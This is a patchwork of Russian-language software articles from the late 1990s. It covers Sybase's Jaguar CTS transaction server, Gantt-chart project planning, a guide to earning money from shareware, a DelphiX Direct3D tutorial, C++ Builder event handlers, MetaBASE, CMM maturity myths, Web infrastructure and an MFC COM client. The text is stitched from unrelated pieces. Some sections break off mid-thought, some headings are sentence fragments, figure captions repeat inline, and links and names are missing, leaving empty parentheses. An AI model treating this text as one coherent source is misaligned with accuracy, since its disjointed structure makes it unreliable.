  • Высокоскоростной обмен результирующими выборками между всеми уровнями.
  • Эффективное HTTP-туннелирование там, где необходимо обеспечить совместимость с .
  • Поддержка мультипротокольного режима работы Многочисленные протоколы и стандарты протоколов - одна из самых горячих тем относительно Internet. Одни поставщики предлагают использовать расширенный протокол HTTP, в то время как другие рекомендуют работать с IIOP или DCOM. Jaguar CTS избавляет разработчиков от этих сложностей и неопределенностей, предоставляя обобщенную мультипротокольную поддержку между клиентами Сети и Jaguar CTS. Сервер Jaguar CTS может “говорить” на многих протоколах одновременно и даже объединять различные протоколы внутри одного сеанса. Это позволяет Jaguar CTS как поддерживать стандартные протоколы, так и обрабатывать потоки результирующих выборок, испльзуюз быстродействующий протокол TDS.


    Также легко могут быть добавлены новые протоколы, чтобы удовлетворить требования пользователей или выполнять новые стандарты. Во всяком случае, Jaguar CTS делает прозрачность протоколов одной из основных парадигм для разработчиков приложений.

    Соединяемость с СУБД Jaguar CTS обеспечивает соединяемость почти со всеми back-end источниками данных. Основные СУБД включают Sybase SQL Server, SQL Anywhere, Oracle7, Microsoft SQL Server и Informix Online; соединяемость с этими источниками обеспечивается за счет стандартных интерфейсов ODBC и JDBC. Соединяемость с более чем двадцатью mainframe и другими источниками данных - включая DB2 IBM, IMS и VSAM - обеспечивается через EnterpriseConnect. Соединениями и транзакциями в базах данных управляют диспетчеры транзакций и соединений Jaguar CTS. Соединяемость с Java через jConnect Благодаря важному значению Java в многих WebOLTP инсталляциях, в Jaguar CTS уделено особое внимание скорости соединения между Java апплетами, Java сервлетами и back-end СУБД. JDBC предлагает стандартный метод для Java-приложений, чтобы связываться с хранилищами данных. К сожалению, до настоящего времени большинство поставщиков не имеет своих Java-драйверов JDBC. Эти не-Java драйверы предусматривают установку и конфигурацию, сводящие на нет одно из основных преимуществ решений на основе Java. Кроме того, не-Java драйверы часто плохо работают, потому что они требуют по крайней мере одного дополнительного прохода процесса и часто дополнительные проходы сети, а также преобразования протоколов. Напротив, Jaguar CTS использует новый JDBC драйвер, известный как jConnect для JDBC. Написанный полностью на Java, jConnect быстр, имеет маленький размер (менее 200КБ кода), поддерживает связи как между апплетами и сервлетами, так и между сервлетами и СУБД.

    Компонентная разработка Jaguar CTS Из-за короткого жизненного цикла большинства WebOLTP-приложений, быстрая разработка и развертывание приложений обязательны для любого сервера транзакций. С самого начала Jaguar CTS создавался с целью облегчить труд разработчиков.


    В этом плане Jaguar CTS имеет такие возможности как:
  • Поддержка мультикомпонентных моделей.
  • Интеграция RAD инструментальных средств.
  • Уникальный Package Manager для сборки связанных компонентов.
  • Встроенная обработка результирующей выборки.
  • Интеграция компонентов третьих фирм.
  • Поддержка мультикомпонентных моделей Jaguar CTS изначально был разработан для поддержки обобщенных, мультикомпонентных моделей. Это позволяет с одного сервера Jaguar CTS одновременно выполнять сервлеты, сформированные в соответствии с любой популярной компонентной или объектной моделью, включая:
  • ActiveX
  • Java и JavaBeans
  • / (собственные объекты)
  • CORBA (IDL)
  • Те же самые компонентные модели поддерживаются и для клиентских приложений (апплет). Jaguar CTS решает все проблемы удаленного вызова, позволяя апплетам обращаться за данными и возвращать данные компонентам Jaguarа CTS (сервлетам), даже если они были сформированы на основе различных компонентных моделей. Например, апплета, написанная на Java может вызывать сервлеты, созданные на основе ActiveX или объектов C++, работающие на сервере Jaguar CTS в том же самом сеансе.

    Интеграция инструментальных средств быстрой разработки приложений Разработчики могут использовать любой инструментарий для разработки апплет и сервлет Jaguar CTS, включая:
  • PowerBuilder, Power++ и PowerJ от Powersoft - подразделения инструментальных средств Sybase.
  • Microsoft VisualJ++, Visual Basic и VisualC++.
  • Популярные инструментальные средства разработки Java, включая Cafe Symantec.
  • Приложения интегрируются в среду Jaguar CTS, используя wizard’ы и Package Manager

    Jaguar CTS Package Manager WebOLTP приложения состоят из ряда элементов, включая страницы, апплеты и сервлеты, которые должны совместно управляться и работать. Большинство инструментальных средств, однако, реализуют только какой-либо один фрагмент общей картины, предоставляя разработчикам или администраторам самим вручную координировать работу всего комплекса. Jaguar CTS решает эту проблему, предоставляя разработчикам уникальное средство, обладающее большими возможностями, - Package Manager, который позволяет группировать все связанные элементы и компоненты вместе для простого управления и развертывания.


    Package Manager обладает такими свойствами как:
  • Легкий в использованиии графический интерфейс пользователя Java, который позволяет разработчикам динамически развертывать компоненты.
  • Импортирует компоненты из библиотек типов (Type Libraries) ActiveX, интерфейсных файлов Java или CORBA IDL.
  • Позволяет разработчикам определять транзакции и процедуры защиты для каждого компонента или пакета.
  • Интегрируется с Jaguar CTS Manager для runtime мониторинга и администрирования. Обработка результирующих выборок Одна из действительно сильных сторон систем клиент/сервер - это способность хорошо обрабатывать результирующие выборки. В двухуровневых системах клиент/сервер, чтобы отобразить и обработать результаты выборки из базы данных, разработчик просто применяет средства управления связанными данными (или PowerBuilder DataWindow) к схеме БД. Эти средства затем автоматически генерируют заданную по умолчанию логику представления, чтобы отобразить полученные результаты. Почти во всех многоуровневых системах это не такая простая задача. Разработчик должен сначала исследовать бизнес-логику, заложенную в ПО промежуточного уровня, чтобы определить, каков будет получен результат, если он вообще возможен. Разработчик должен затем вручную программирует обработку циклов и графику представления для клиентской части.

    Jaguar CTS действительно решает эту фундаментальную проблему. Во-первых, Jaguar CTS имеет мощный встроенный API обработки результирующих выборок, доступный всем клиентским апплетам. Во-вторых, Jaguar CTS позволяет разработчикам определять результат, который возвращается компонентом. Таким образом, существующие DataWindow и другие средства управления связанными данными могут автоматически генерировать логику представления для тонких клиентов.

    Интеграция компонентов третьих фирм Так как Jaguar CTS поддерживает стандартные компонентные модели, то для работы с ним могут быть приобретены компоненты третьих фирм из широкого диапазона имеющихся в настоящее время на рынке. Это улучшает производительность разработчика и ведет к более функциональным приложениям.


    Доступные компоненты включают:
  • Имеющиеся ActiveX и Java компоненты типа электронных таблиц, программ проверки орфографии и инструментальных средств составления диаграмм.
  • Все внешние сервисы типа электронной торговли и передачи сообщений.
  • Существующие / приложения.
  • Защита в Jaguar CTS Защита - одна из первых проблем, которая приходит на ум при обсуждении WebOLTP приложений. В Jaguar CTS эту важная задача решается с помощью:
  • Поддержки стандарта Интернет secure socket layer (SSL) для шифрования данных.
  • Установление подлинности пользователя через “public keys” в SSL.
  • Защита уровня приложений на основе списков управления доступом (access control list - ACL).
  • Firewall программа легализации.
  • Шифрование и авторизация Jaguar CTS обеспечивает шифрование и авторизацию на основе промышленного secure socket layer (SSL). Все соединения броузеров и сервера Jaguar CTS могут использовать SSL. Кроме того, Jaguar CTS распространяет SSL и на все соединения Jaguar CTS с СУБД, где SSL обеспечивается собственно back-end СУБД. SSL поддержка может также быть избирательно отключена для повышения производительности в безопасных внутренних сетях. Защита на уровне приложений Jaguar CTS ограничивает возможность выполнение сервлет уполномоченными пользователями на основе списков управления доступом. Доступ может быть ограничен пакетом, компонентом или даже отдельным методом компонента. Защита поддерживается через Jaguarа CTS Manager, о котором было упомянуто ранее. Firewall легализация Jaguar CTS был проверен и сертифицирован для работы с ведущими firewall-средствами. Где поддержка firewall для специфических протоколов Jaguar CTS не доступна, сервер Jaguar CTS обеспечивает эффективные возможности HTTP-туннелирования. Управление транзакциями в Jaguar CTS Jaguar CTS предлагает очень гибкое управление транзакциями с поддержкой как обычной синхронной, так и асинхронной обработки запросов (См. Рисунок 7). Подобно остальным частям Jaguar CTS, управление транзакциями открыто и поддерживает множество координаторов транзакций и СУБД. Сервер транзакций Powersoft Jaguar CTS


    Рисунок 7. Управление транзакциями в Jaguar CTS.

    Синхронное управление транзакциями Диспетчер транзакций Jaguar CTS Transaction Manager с помощью “неявных транзакций” скрывает почти всю сложность координации и управления транзакциями от разработчиков приложений. Управляя неявными транзакциями, разработчики при развертывании компонента определяют, является ли он “транзакционным”. Во времени работы Jaguar CTS Transaction Manager автоматически управляет границами транзакции и гарантирует непротиворечивость транзакции во всех транзакционных компонентов и основной СУБД. При двухфазном коммите (two-phase commit), когда необходимо координировать изменения на множестве СУБД, Jaguar CTS автоматически и непосредственно вызывает Microsoft DTC или XA координатор транзакций. Формирование очереди в базах данных для асинхронного управления транзакциями Хотя синхронная обработка транзакций подходит для многих приложений, увеличивающийся доля WebOLTP бизнес-транзакций порождает множество физических транзакций в ряде новых и старых систем. Например, новая WebOLTP система ввода/регистрации заказов могла бы брать заказы непосредственно от заказчиков через Интернет. Когда заказ размещен, это порождает транзакции в системе доставки и, соответственно, в системе составления счетов (см. Рисунок 7). Каждый шагобязательно выполнится, но только, если пользователь может подождать. Однако непрактично вынуждать пользователя Интернет ждать завершения всех операций во всех подсистемах, потенциально не всегда доступных. Чтобы решить эту проблему, Jaguar CTS предлагает вариант обработки типа “запустил и забыл” (“fire and forget”), с использованием нового сервиса dbQ. С помощью dbQ пользователь просто помещает заказ в систему регистрации, подтверждает его и возвращается к своей работе (или серфингу, шахматам etc.). DbQ, используя надежную передачу сообщений, гарантирует, что системы доставки и учета получат данные о новом заказе. В отличие от универсальных систем передачи сообщений, dbQ использует продвинутую технологию формирования очереди в базе данных, чтобы обеспечить выполнение изменений в системе регистрации заказов и передать сообщение в системе доставки как об успешном завершении, так и об откате транзакции.Основные возможности dbQ включают:

  • Резидентные очереди в базах данных для обеспечения транзакционной целостности, улучшенной производительности и более простого администрирования.
  • Поддержка ActiveX, JavaBeans и компонентов .
  • Гибкая доставка сообщений, включая fan-in/fan-out, приоритеты и уведомления.
  • Поддержка многих СУБД, включая Sybase SQL Server, SQL Anywhere, Microsoft SQL Server и Oracle
  • Надежная доставка сообщения к другим системам передачи сообщений, включая MQSeries IBM


  • Сетевое планирование – Кто? Когда? Сколько?

    После того, как руководитель проекта получил спецификацию системы, как-то: диаграммы пакетов, диаграммы классов этих пакетов и диаграммы взаимодействия, - то следует приступать к сетевому планированию задач по реализации кода между программистами, которые находятся в его подчинении. Для этой цели, на мой взгляд, следует применять диаграмму Ганта. Пример такой диаграммы изображен на рис. 6. Сетевое планирование – Кто? Когда? Сколько? Рис.6 Сначала руководитель проекта должен создать список ресурсов, т.е. программистов. Потом создать задачи крупного порядка, например, их можно позаимствовать из названий пакетов, и связать эти задачи, дабы установить порядок их исполнения на основе зависимостей между пакетами. Каждой задаче нужно назначить ее предварительную продолжительность. К полученным задачам прикрепить ресурсы (программистов), которые будет их исполнять. Следует внимательно следить за тем, что бы программист не получил задач требующих от него не 8-ми, а 16-ти часовой рабочий день. Далее, следует разбить крупные задачи на более мелкие подзадачи. С помощью так называемого work breakdown structure руководитель проекта должен получить иерархию задач. Это необходимо для того что бы с одной стороны точнее оценить временные затраты на задачи высшего порядка, а с другой стороны, точно сформулировать - что и когда должен делать каждый программист. Для этого этапа рекомендую использовать MS Project. Он позволит удобно и быстро распределить задачи и распечатать листочки с заданиями для программистов. После того как руководитель проекта получит сетевой график в первом приближении, то уже можно более реалистично увидеть, сколько времени будет длиться проект и сколько ресурсов он требует.

    Sharew.shtml

    Как стать шареварщиком, или как заработать деньги своим умом. Олег Сергудаев,
    - Программы для надежной работы и интересного отдыха (для Win 95/98/2000/NT). Вам пригодятся наши программы. Все, так или иначе, пользуются шареварными (условно-бесплатными) программами. Достаточно вспомнить такие программы как Far, WinRar, Windows Commander и много других. А почему же так мало российских программ, что мешает программистам-одиночкам зарабатывать достойные деньги - незнание английского языка, нежелание или что-то еще? В этой статье я поделюсь своим опытом и постараюсь помочь () стать разработчиком шареварных программ. Итак... Для начала необходимо определиться, на какой рынок ориентироваться: российский (под российским я понимаю и все пространство СНГ) или зарубежный. Мое личное мнение такое, что в России заработать какие-то деньги продажей программ практически невозможно. Потому что программу продавать придется по 100, 200 рублей, дороже никто не купит. Да и сильна в России жажда бесплатного. В этом случае ориентироваться можно только на организации. Но это, значит, ограничивать круг программ, которые могут купить (попробуй, например, предложи начальству купить какой-нибудь красивый скринсейвер). Кроме того, в нашей стране еще существует такая проблема как кредитные карточки, вернее недостаточная их распространенность. Ведь для того, чтобы купить Вашу программу нужно (как обычно) идти в сберкассу, стоять там очередь, а потом посылать квитанцию автору. Многих уже это останавливает от покупки. Другое дело зарубежные покупатели - не вставая с места, написали номер кредитной карточки, перевели деньги, и покупка состоялась. Решение как всегда где-то посередине. Основной акцент надо делать на зарубеж, но и поддерживать российскую сторону. Например, продавать в России по низким ценам или раздавать бесплатно. Таким образом, Вы и в российском интернете раскрутитесь и за рубежом. А потом, когда ситуация наладится, можно будет и цены устанавливать. В любом случае Вы окажитесь в выигрыше - Вас будут знать и здесь и там. Итак, что нужно, для того чтобы продавать свои собственные программы.
    Во-первых, как минимум нужно знать какой-нибудь язык программирования (C, Pascal, Visual Basic). Причем не просто знать о нем, а программировать на достаточно хорошем уровне, ведь плохо написанную программу покупать никто не будет (книги типа "Делфи для чайников" здесь не помогут). Во-вторых, необходимо знание языка гипертекстовой разметки (HTML). Обязательно должна быть страничка, где Вы будете представлять свои программы. Причем она должны быть простой, со вкусом, с удобной навигацией, не перегруженной графикой и самой полной информацией о Ваших программах. Здесь () мы так и попытались сделать. Кроме того, читайте книги, смотрите, как сделаны другие такого же плана сайты и пытайтесь сделать лучше. Наконец, самый больной вопрос для русскоязычных граждан - английский язык. Как ни крути, минимальное знание его просто жизненно важно. Ведь и страничку, и помощь по программе, и сам интерфейс программы - все нужно делать на английском языке. Не стоит расстраиваться, если вы не обладаете этими знаниями. Просто нужно объединиться с кем-нибудь, тем более что одному заниматься этим тяжело. А вдвоем, втроем вполне по силам (и по средствам). Например, один пишет программы, второй занимается веб-дизайном, обновляя страничку, третий занимается переводом на английский язык, приходящей почтой и пр. Таким образом, каждый занимается своим любимым делом. К тому же и расходы делить придется поровну, получается не так много, как если б занимался этим один. Вообще можно и вдвоем организоваться и платить переводчику или выплачивать ему процент с продажи. После того, как Вы написали программу, создали страничку необходимо где-то ее разместить и купить доменное имя, если его еще нет. В самом лучшем случае оно должно быть второго уровня (типа ), первый уровень это расширение .com, .ru, .org, .net и пр. Но можно и третьего уровня (), но не больше. Если имя очень длинное, его будет трудно запомнить, да и мне кажется потратить 20 долларов (именно столько стоит доменное имя сроком на 1 год) на доменное имя второго уровня - это не так уж много.


    Все это можно приобрести в одном месте () - там же можно заказать и доменное имя (40$ - на два года), и место (10Мб - 10$ в месяц, 50$ - 20$ в месяц, 100Мб - 30$ в месяц). Для шареварщиков есть скидки. У них можно платить в рублях и за доменное имя и за хостинг. Отношение к Вам доброжелательное, и на любой вопрос всегда ответят, да и еще очень подробная статистика по сайту. Рекомендую сразу купить место на 50 Мб, в это случае ограничение на трафик нет. Поясню на примере. Когда посетитель заходит на Ваш сайт, браузер скачивает на диск (память) все картинки, текст и пр. Все это имеет какой-то размер и если посетителей достаточно много, то и размер скаченного достаточно велик. А скачивает он именно с сервера, где расположена Ваша страничка. Например, заглавная страничка занимает 100 Кб. Представьте, что ее посетило 100 человек в день - это составит 10 000 Кб (около 9,7 Мб) плюс Ваши файлы, которые Вы выкладываете, их тоже умножьте на число скачанных. В итоге, к примеру, Ваш трафик получился 30 Мб в день. А теперь эти 30 Мб умножьте на 30 дней - получилось 900 Мб. У многих компаний, предоставляющих хостинг, стоит ограничение на трафик (например, 1 Гб в месяц) - будьте внимательны. Иногда за превышенный трафик берут отдельную плату. В принципе компаний занимающихся хостингом достаточно много, можно найти и дешевле (но не забывайте, что бесплатный сыр только в мышеловке), потому что бывает так, что вроде дешевле, но заставляют баннер на пол страницы вывешивать. Итак, у Вас готова и страничка и программа (программы), есть доменное имя, есть место, где это все разместилось, осталось решить орг. вопросы, а именно куда будут приходить заработанные Вами деньги. Для этого надо открыть два счета (на чье имя - договоритесь между собой) - валютный и рублевый, не забудьте сделать доверенность товарищу, чтобы он в случае Вашего отсутствия мог снять деньги. Сделать это можно в любом банке. Спишите все реквизиты своего банка и особенно Вашего счета. Для чего это нужно? Все эти данные Вы впишите на сайте регистратора.


    Регистратор - это компания, которая принимает от покупателей деньги (беря естественно процент от суммы продажи Вашей программы). Они проверяют кредитные карточки, принимают деньги всеми возможными способами, а регистраторы, работающие в России, кроме того, заключают договор с Вами, решая проблему с налогами. Западные регистраторы договор, конечно, пришлют, но с налоговой Вы будете разбираться сами. Будем надеяться, что в скором времени все наладится. Компания обещала решить этот вопрос, сходите, поспрашивайте. Из западных очень рекомендую RegSoft (), из крупных еще ShareIt () , RegNow (), впрочем, их достаточно много, поэтому выбирайте, где сервис получше, а не где процент меньше. Из российских регистраторов - это , , . Первые два регистратора имеют шикарную систему приема денег, она находится по адресу . Вам надо просто зарегистрироваться, зарегистрировать программу и получить ссылку, нажав на которую покупатель сможет купить Вашу программу. Если что не понятно почитайте раздел вопросов и ответов, там все подробно расписано. Теперь у Вас все есть, осталось всего малость, а именно, свои программы нужно разместить на, так называемых, софт-каталогах.
    Из российских это:Из зарубежных:
    Кроме того, чтобы Вас находили в бескрайних просторах Интернета, надо прописать свою страничку везде, где только можно. Совет здесь один - не доверяйте рекламе типа: регистрация Вашей странички в 1000, 2000, 3000 поисковиках. Толку не будет, зря только потратите время. Лучше проиндексироваться в крупных (altavista, hotbot и пр.) и иметь десяток другой гарантированных посетителей. Немаловажную роль здесь играют Мета-теги. Не ленитесь, прописывайте сайт каждую неделю, и Ваш труд будет вознагражден. В заключение хочется добавить, что наша страна всегда отличалась умными людьми. Давайте покажем, на что мы способны, и может быть Россия, хотя бы в разработке качественных и полезных программах выйдет на первое место. P. S. Дополнительные источники информации: - здесь статья, с которой началось развитие shareware в России. - здесь тоже полезная информация. - сайт, посвященный шареварщикам. Олег Сергудаев, "Meloman",

    Система координат

    В Direct3D она соответствует так называемому правилу "левой руки". Суть правила в том, что если Вы растопырите пальцы левой руки так, что указательный палец будет направлен к экрану, большой к потолку, а средний параллельно столу туда, где обычно лежит мышиный коврик, то большому пальцу будет соответствовать координата Y, среднему - X, указательному Z. Говоря короче координата Z направлена как бы вглубь экрана (я во всяком случае нахожусь по эту его сторону :-)), координата Y - вверх, координата X - вправо (все рисунки из SDK). Возможно Вам это покажется непривычным. А что Вы тогда скажите на это - в DirectX цвета задаются тремя составляющими R,G,B, каждая из которых - число с плавающей точкой в диапазоне [0-1]. Например белый цвет - (1,1,1), серенький (0.5,0.5,0.5), красный (1,0,0) ну и т.д. Все трехмерные объекты задаются в виде набора (mesh) многоугольников (граней - faces). Каждый многоугольник должен быть выпуклым. Вообще-то лучше всего использовать треугольники - более сложные многоугольники все равно будут разбиты на треугольники (на это уйдет столь драгоценно процессорное время). Грани (faces) состоят из вершин (vertex). Грань становится видимой если она повернута так, что образующие ее вершины идут по часовой стрелке с точки зрения наблюдателя. Отсюда вывод - если Ваша грань почему-то не видна - переставьте вершины так, чтоб они были по часовой стрелке. Кроме того имеются другие объекты - источники света (прямой свет - directional light и рассеянный свет - ambient light), т.н. камера, текстуры, которые могут быть "натянуты" на грани и прочая, прочая: Наборы объектов составляют т.н. frames (затрудняюсь дать этому русское название). В Вашей программе всегда будет хоть один главный frame, называемый сцена (scene), не имющий фрейма-родителя, остальные фреймы принадлежат ему или друг другу. Я не буду долго разговаривать о том, как инициализировать все это хозяйство, для Дельфи-программиста достаточно разместить на форме компонент TDXDraw из библиотеки DelphiX. Перейдем однако к делу. Запустите-ка Дельфи и откройте мою (честно говоря не совсем мою - большую часть кода написал Hiroyuki Hori - однако не будем заострять на этом внимание :-)) учебную программку - . Найдите метод TMainForm.DXDrawInitializeSurface. Этот метод запускается при инициализации компонента TDXDraw.
    Обратите внимание, что DXDraw инкапсулирует D3D, D3D2, D3Ddevice, D3DDevice2, D3DRM, D3DRM2, D3DRMDevice, D3DRMDevice2, DDraw - ни что иное как соответствующие интерфейсы DirectX. (только в названиях интерфейсов Microsoft вместо первой буквы D слово IDirect). Инициализация компонента очень подходящее место, чтоб выбрать кое какие режимы (что и делается в программке). Обратите внимание на DXDraw.D3DRMDevice2.SetRenderMode(D3DRMRENDERMODE_BLENDEDTRANSPARENCY or D3DRMRENDERMODE_SORTEDTRANSPARENCY); - Эти два флага установлены вот для чего - если у нас два треугольника находятся один под другим и оба видны (т.е. вершины у них по часовой) нужно их сперва отсортировать по координате Z чтоб понять кто кого загораживает. Включает такую сортировку флаг, названный скромненько эдак, по Microsots-ки: D3DRMRENDERMODE_SORTEDTRANSPARENCY. Однако как говаривал К. Прутков - смотри в корень. Корнем же у нас является метод TMainForm.DXDrawInitialize(Sender: TObject); Здесь сначала создаются два фрейма - Mesh и Light, для нашего видимого объектика и для лампочки, его освещающей. MeshFrame.SetRotation(DXDraw.Scene, 0.0, 10.0, 0.0, 0.05); (первые три цифры - координаты вектора вращения, последний параметр - угол полворота) . Тонкое (не очень правда :-)) отличие между методами SetRotation и AddRotation в том, что AddRotation поворачивает объект только один раз, а SetRotation - заставляет его поворачиваться на указанный угол при каждом следующей итерации (with every render tick) Потом создается т.н. MeshBuilder - специальный объект, инкапсулирующий методы для добавления к нему граней. Этот обьект может быть загружен из файла (и естественно сохранен в файл). По традиции файлы имеют расширение X. (насколько мне извесно эта традиция возникла еще до появления сериала X-Files :-)) В самом же деле - в конце 20 века задавать координаты каждого треугольника вручную: Можно заставит сделать это кого то еще - а потом просто загрузить готовый файл :-). Ну а если серьезно в DirectX SDK входит специальная утилита - conv3ds. {conv3ds converts 3ds models produced by Autodesk 3D Studio and other modelling packages into X Files. } Однако создадим объект вручную - ну их эти Х-файлы. Наш объект будет состоять из 4-х граней (ни одного трехмерного тела с меньшим количеством граней я не смог придумать).


    Естественно каждая грань - треугольник, имеющий свой цвет. MeshBuilder.Scale(3, 3, 3); - Увеличиваем в три раза по всем координатам. Наконец MeshFrame.AddVisual(MeshBuilder); - наш MeshBuilder готов, присоединяем его как визуальный объект к видимому объекту Mesh. DXDraw.Scene.SetSceneBackgroundRGB(0,0.7,0.7); - Как понятно из названия метода цвет фона. (Видите - я не врал RGB-цвет действительно задается числами с плавающей точкой :-)) Интересные дела творятся в методе TMainForm.DXTimerTimer. (небольшая тонкость - это не обычный таймер, а DXTimer из библиотеки DelphiX) DXDraw.Viewport.ForceUpdate(0, 0, DXDraw.SurfaceWidth, DXDraw.SurfaceHeight); указываем область, которую нужно обновить (не мудрствуя лукаво - весь DXDraw.Surface) DXDraw.Scene.Move(1.0); - применяем все трехмерные преобразования, добавленные методами вроде AddRotation и SetRotation к нашей сцене. (вот где собака то порылась: :-) вычисления новых координат точек начнутся не сразу после метода AddRotation а только здесь) DXDraw.Render - Рендерим (ну как же это по русски то? :-)) DXDraw.Flip - выводим результат рендеринга на экран (аминь :-)); (в этом методе помещены также несколько строк, выводящих на экран число кадров в секунду и информацию о поддержке Direct3D аппаратурой или программно - пригодится при отладке) Метод FormKeyDown. Здесь проверяется код нажатой клавиши - если Alt+Enter - переходим из оконного в полноэкранный режим (клево, правда? :-)) и наоборот. Напоследок пара слов о DXDrawClick. Просто выводим FileOpenDialog - Вы можете поэкспериментировать с x-файлами. Пока все. Пишите: , Описанный в статье пример Вы можете скачать (198К). Продолжение (на сайте ): Часть I: Часть II: Часть III:

    Сложность реализации

    Предложенная мной спецификация имеет точки соприкосновения со спецификацией EJB в плане целей, но не содержит ограничения на архитектуру безопасности, бизнес-объектов и их описаний. Спецификация не имеет узкую направленность на конкретную распределенную технологию, такую как RMI, и определяет архитектуру клиентских приложений, чего нет в спецификации EJB. Использование уже готовых реализаций спецификации EJB очень привлекательно по сравнению с самостоятельной реализацией, предложенной мной спецификации, но в силу своих ограничений может быть отвергнута. Для получения первой версии реализации спецификации каркаса системы с распределенной архитектурой было затрачено шесть месяцев группой программистов из 6 человек с 8 часовым рабочим днем и 5 дневной рабочей неделей. Для тех организаций, которые решили воспользоваться данной спецификацией, следует предварительно просчитать все плюсы и минусы ввязывания в данную разработку.

    инспектора объектов показывает список событий,

    Страница событий (Events) инспектора объектов показывает список событий, распознаваемых компонентом (программирование для операционных систем с графическим пользовательским интерфейсом, в частности, для Windows 95 или Windows NT предполагает описание реакции приложения на те или иные события, а сама операционная система занимается постоянным опросом компьютера с целью выявления наступления какого-либо события). Каждый компонент имеет свой собственный набор обработчиков событий. В C++ Builder следует писать функции, называемые обработчиками событий, и связывать события с этими функциями. Создавая обработчик того или и ого события, вы поручаете программе выполнить написанную функцию, если это событие произойдет. Для того, чтобы добавить обработчик событий, нужно выбрать на форме с помощью мыши компонент, которому необходим обработчик событий, затем открыть страницу событий инспектора объектов и дважды щелкнуть левой клавишей мыши на колонке з ачений рядом с событием, чтобы заставить C++ Builder сгенерировать прототип обработчика событий и показать его в редакторе кода. При этом автоматически генерируется текст пустой функции, и редактор открывается в том месте, где следует вводить код. Курсор позиционируется внутри операторных скобок { ... }. Далее нужно ввести код, который должен выполняться при наступлении события. Обработчик событий может иметь параметры, которые указываются после имени функции в круглых скобках. инспектора объектов показывает список событий, Рис.4. Прототип обработчика событий.

    Составные части MetaBASE

    MetaGen - менеджер проектов MetaBASE (написанный на Delphi). Он транслирует модель данных в объекты MetaBASE и сохраняет их в специализированном словаре данных (Metamodel). Позже этот словарь данных используется как средой разработки Delphi, так и разработанным приложением во время выполнения. MetaGen также может осуществлять перенос измененных объектов MetaBASE обратно в модель данных. Иными словами, это полноценный инструмент two-way-tool. Metamodel - объект, который содержит всю информацию об объектах модели данных - сущностях, индексах, атрибутах, доменах и связях. Кроме того, Metamodel содержит расширенные атрибуты типа масок, меток и т.д., которые могут быть изменены в редакторе MetaBASE Editor.. Все объекты модели данных доступны при создании приложения. MetaBASE Editor- иерархическое окно просмотра метамодели, позволяющее редактировать модель данных, изменять расширенные атрибуты, синхронизировать модели данных в ER-диаграмме и в словаре данных, выбирать интерфейсные элементы для отображения таблиц и полей, выбирать способ доступа к данным (таблица или запрос). Этот редактор метаданных используется в среде разработки в качестве редактора свойств компонент, входящих в комплект поставки MetaBASE (рис.1). Библиотека визуальных компонентов MetaBASE, имеющих прямой доступ к словарю данных.. Эти VCL-компоненты существуют в 16-разрядном и 32-разрядном вариантах. Среди них имеются модуль для определения бизнес-правил, осуществляющий связь со словарем данных, наследники стандартных компонент со страниц Data Access и Data Controls, обращающиеся к модели данных во время проектирования и выполнения, а также ряд специфических компонент для отображения данных из связанных таблиц, формулирования и выполнения QBE-запросов, поиска и сортировки по индексам,

    Совершенствование процесса и модели зрелости разработки ПО

    Миф, связанный с этой тенденцией современной программной инженерии, состоит в следующем: измерение зрелости процесса разработки в некоторой организации эквивалентно измерению качества ПО, которое эта организация производит. Отсюда неявно следует, что построение более зрелого процесса разработки обеспечивает создание более зрелого ( более качественного) ПО. Само по себе усовершенствование процесса разработки, так же как и ранжирование коллективов по уровню профессионализма (особенно по стандартизованной методике типа CMM) безусловно похвально. Однако практика доказывает, что предположение об однозначной связи между официально засвидетельствованными рейтингами зрелости процессов и качеством производимого ПО ошибочно. К сожалению, в компьютерной индустрии этот миф получил чрезвычайно широкое распространение.

    Современная ифраструктура Internet

    Современная ифраструктура Internet представлена на Рис.2. и включает в себя:
  • Web-броузер, служащий для отображения страниц в формате HTML (Hypertext Mark-up Language)
  • Web-сервер, который занимается хранением и управлением HTML-страниц Современная ифраструктура Internet
    Рисунок 2. Базовая и расширенная архитектура Web.
    Стандартные средства связи между броузером и сервером на основе протокола (Hypertext Transfer Protocol).
    Базовая инфраструктура была разработана и до сих пор вполне подходит для публикации статической информации, например, данных маркетинговых исследований.
    Как показано на Рис.3, базовая инфраструктура Internet за последнее время была раширена в смысле большей динамичности приложений (интерактивных возможностей пользователей) за счет:
  • Простых форм запросов и форматирования данных на основе JavaScript для броузера
  • API для Web сервера, таких как, например, NSAPI и ISAPI, позволяющих броузерам вызывать приложения на стороне сервера.
  • Серверов динамической обработки, которые преобразуют данные из БД в страницы в формате HTML (например, "Dynamo").
  • Расширенная инфраструктура Web за счет динамической обработки данных, т.е. способности сервера возвращать данные броузеру в соответствии с запросом пользователя или в другой интерактивной форме, предоставляет возможность создания совершенно нового и важного класса приложений от систем поддержки принятия решения через intranet до персональных новостей в Internet.
    Современная ифраструктура Internet
    Рисунок 3. Новая архитектура для WebOLTP
    Однако, даже с учетом этих расширений большинство реализаций Internet-инфраструктур неспособны обрабатывать крупные транзакции. До настоящего времени, различные компании пытались соединять базы данных и Web-серверы вместе. Но без инструментальных средств разработки и администрирования, результаты оказываются в лучшем случае неудобными и сложными в сопровождении.

    Создание клиентского приложения для обоих COM объектов

    Мы собираемся создать клиентское приложение, которое будет поддерживать два COM объекта GasTankLevelGetter и FishTankLevelGetter. Используя AppWizard, создайте MFC диалог приложения, который бы поддерживал и управляющие элементы Automation, и ActiveX одновременно (укажите это в соответствующих check box во время работы с AppWizard).
    Как только вы создали приложение, отредактируйте ваш основной диалог в редакторе ресурсов, так чтобы он имел сходство с следующим:
    Создание клиентского приложения для обоих COM объектов
  • Замечание: Возможно вы захотите просмотреть ID элементов управления в примере, поскольку мы собираемся изменить эти значения.
  • Следующий шаг состоит в добавлении указателей сообщений для двух кнопок Gas Tank Level и Fish Tank Level. В примере эти методы называются OnGas и OnFish соответственно
    Если вы создали класс диалога и добавили указатели сообщений для кнопок, вам необходимо открыть этот класс и добавить несколько членов класса и методов класса. Первое, что мы сделаем, - это опишем далее интерфейс ILevelGetter так, чтобы мы могли добавлять члены класса (class member) для этого типа интерфейса. Во-вторых, добавим два дополнительных метода класса (class methods) ClearMembers и SetNewData и два члена класса m_pILevelGetter и m_sLastCalled. Затем, используя Class Wizard, добавим методы OnDestroy и OnTimer. Как только это сделано, ваше описание класса должно быть таким, как показано ниже.
